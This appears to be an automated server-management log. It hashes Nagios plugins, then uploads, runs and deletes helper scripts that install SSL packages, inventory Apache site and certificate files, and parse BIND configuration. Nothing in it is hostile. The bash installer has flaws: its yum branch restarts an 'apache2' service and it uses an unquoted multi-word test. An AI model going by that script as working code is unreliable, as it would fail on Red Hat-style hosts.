bin(/usr/local/nagios/libexec/check_ntp_peer)= 1012bb69dbe28a20c47f83cb8502829c
bin(/usr/local/nagios/libexec/check_php.php)= ea35782ed63579f5f868c61f2e762602
bin(/usr/local/nagios/libexec/check_autoupdate.php)= 67b27ce05c96a1d7aeac8c220cd103d5
bin(/usr/local/nagios/libexec/check_sensors)= 93f23897502fce95ac37b42b63f8a121
bin(/usr/local/nagios/libexec/check_ntp_time)= 93818330bf26c2823c1985254019368d
bin(/usr/local/nagios/libexec/check_disk_smb)= 20df89ee7110f042d6119b51b6b47fcc
bin(/usr/local/nagios/libexec/check_file_age)= f9c9e8f272624bac2336c0dc261aa4f1
bin(/usr/local/nagios/libexec/check_overcr)= 31e5b6e8d961a2c25c2cdd4febef9a3d
bin(/usr/local/nagios/libexec/check_by_ssh)= 55b5fda59ebdd27200d63a13133113c2
bin(/usr/local/nagios/libexec/check_nntp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_mailq)= 28bc32f5bed1017ecdb469e69ecb59ac
bin(/usr/local/nagios/libexec/check_ping)= f33d99f6a394c5341f7bb6390e2f44c2
bin(/usr/local/nagios/libexec/check_flexlm)= cef725bcbe5623da973584232b0fb1ea
bin(/usr/local/nagios/libexec/check_time)= 75ff7b75649deaa34ba5a8115e7bc1ea
bin(/usr/local/nagios/libexec/check_mrtg)= 40c6d0f71161c67f491aa11f57715867
bin(/usr/local/nagios/libexec/check_uptime)= 0a77a9f937bfb2ab6607abdd74e62f41
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_ftp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_nagios)= cd16ecade3f59c4bedac7c3038b411b9
bin(/usr/local/nagios/libexec/check_udp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_ifoperstatus)= a7f0a5a6623cb153cd11cc419088c74b
bin(/usr/local/nagios/libexec/check_log)= 9292b8656dd3ebc9f9cb3f0acdf45cf7
bin(/usr/local/nagios/libexec/check_imap)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_ifstatus)= 13135b7e17d4daf1fa87d7cf2c4e4f22
bin(/usr/local/nagios/libexec/check_icmp)= b0d58b5701f7b86f7738a43f175ede4a
bin(/usr/local/nagios/libexec/check_oracle)= 9c5171e12f0b1fe84b51eff80842fb66
bin(/usr/local/nagios/libexec/check_ssh)= 0dd020c1f83941e7b62063c2a1d2954d
bin(/usr/local/nagios/libexec/check_wave)= 98dd0b7a7884c98ec62701568047e010
bin(/usr/local/nagios/libexec/check_pop)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_cluster)= 08aeb28f2a6b3dceddda1dd90918388a
bin(/usr/local/nagios/libexec/check_load)= 7953042df164e8e47234a955376f77f4
bin(/usr/local/nagios/libexec/check_procs)= 0891055bb921943995cbbd8e9b7218bb
bin(/usr/local/nagios/libexec/check_nt)= 31d152e80f15be7ec2cd7f38fcd17d7a
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_dhcp)= 66b6794ccc1f2702910eb2cf4503ada0
bin(/usr/local/nagios/libexec/check_ircd)= e006b8d46149f00c2e371ebd3176d283
bin(/usr/local/nagios/libexec/check_dns)= 2d442b7cf8b203520555e93b77b009e5
bin(/usr/local/nagios/libexec/check_clamd)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_dummy)= 99113a54b487e0c637b003dec276d294
bin(/usr/local/nagios/libexec/check_sensors.php)= 172c8cb7ebe7199e4f589ed2f4d4d46d
bin(/usr/local/nagios/libexec/check_http)= a3764b736da28a6c9d17d07b65887e57


2025-12-31 12:37:38: 

PUT: /tmp/pkp947071

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		systemctl restart apache2
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		systemctl restart apache2
	fi
	echo status=ok
fi



2025-12-31 12:37:38: 

chmod 755 /tmp/pkp947071; /tmp/pkp947071; rm /tmp/pkp947071

2025-12-31 12:37:38: 


status=ok


2025-12-31 12:37:38: 

PUT: /tmp/pkp477457

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-31 12:37:39: 

chmod 755 /tmp/pkp477457; /tmp/pkp477457; rm /tmp/pkp477457

2025-12-31 12:37:39: 
(gzipped output)


MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/cityelectric_www_online.conf)= 98a5766b5fedd44b564deeae2b7f4597
MD5(/etc/ssl/certs/58e746b88fcdd674270ef29574194035.crt)= 022cdad52e685522d13d48e47c3c5686
MD5(/etc/apache2/sites-available/pjy_home_us.conf)= b92aff1e8d83db409d859ecc91bbe2ea
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb)= e3abec79d5f117cc6ac30c88636dbdb6
MD5(/etc/apache2/sites-available/theyoungdesigners_stage.conf)= 1516a9c3e0f6707ee8508f17374a4965
MD5(/etc/ssl/certs/71986a4933a5df06d6ba64d41a00e6e1.crt)= 16e37f95816efad64fa47f57af88785c
MD5(/etc/apache2/sites-available/hopeinstoughton_cdn4_org.conf)= 40743bf141b7da55b55cc9e1aa210026
MD5(/etc/ssl/certs/33c1aca709cdbd6de954e7f75b205eb8.crt)= 0d7ac0488abb570c4dee9f344699ee85
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= ca34edd674c003e68e65b9ddf3a5583b
MD5(/etc/apache2/sites-available/pjy_alive_us.conf)= 11f7b6884662bd4fc09883fceeb3679c
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb)= e3abec79d5f117cc6ac30c88636dbdb6
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/pjy_home_us.conf)= /etc/apache2/sites-available/pjy_home_us.conf
link(/etc/apache2/sites-enabled/theyoungdesigners_stage.conf)= /etc/apache2/sites-available/theyoungdesigners_stage.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf)= /etc/apache2/sites-available/hopeinstoughton_cdn4_org.conf
link(/etc/apache2/sites-enabled/pjy_alive_us.conf)= /etc/apache2/sites-available/pjy_alive_us.conf




STDERR:
/tmp/pkp477457:12: SyntaxWarning: invalid escape sequence '\s'
  match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)


2025-12-31 18:52:00: Establishing a connection
2025-12-31 18:52:08: Establishing a connection
2025-12-31 18:52:08: 

PUT: /tmp/pkp296751

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-12-31 18:52:09: 

runuser -l bind -s /bin/bash -c '/tmp/pkp296751; rm /tmp/pkp296751'

2025-12-31 18:52:09: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
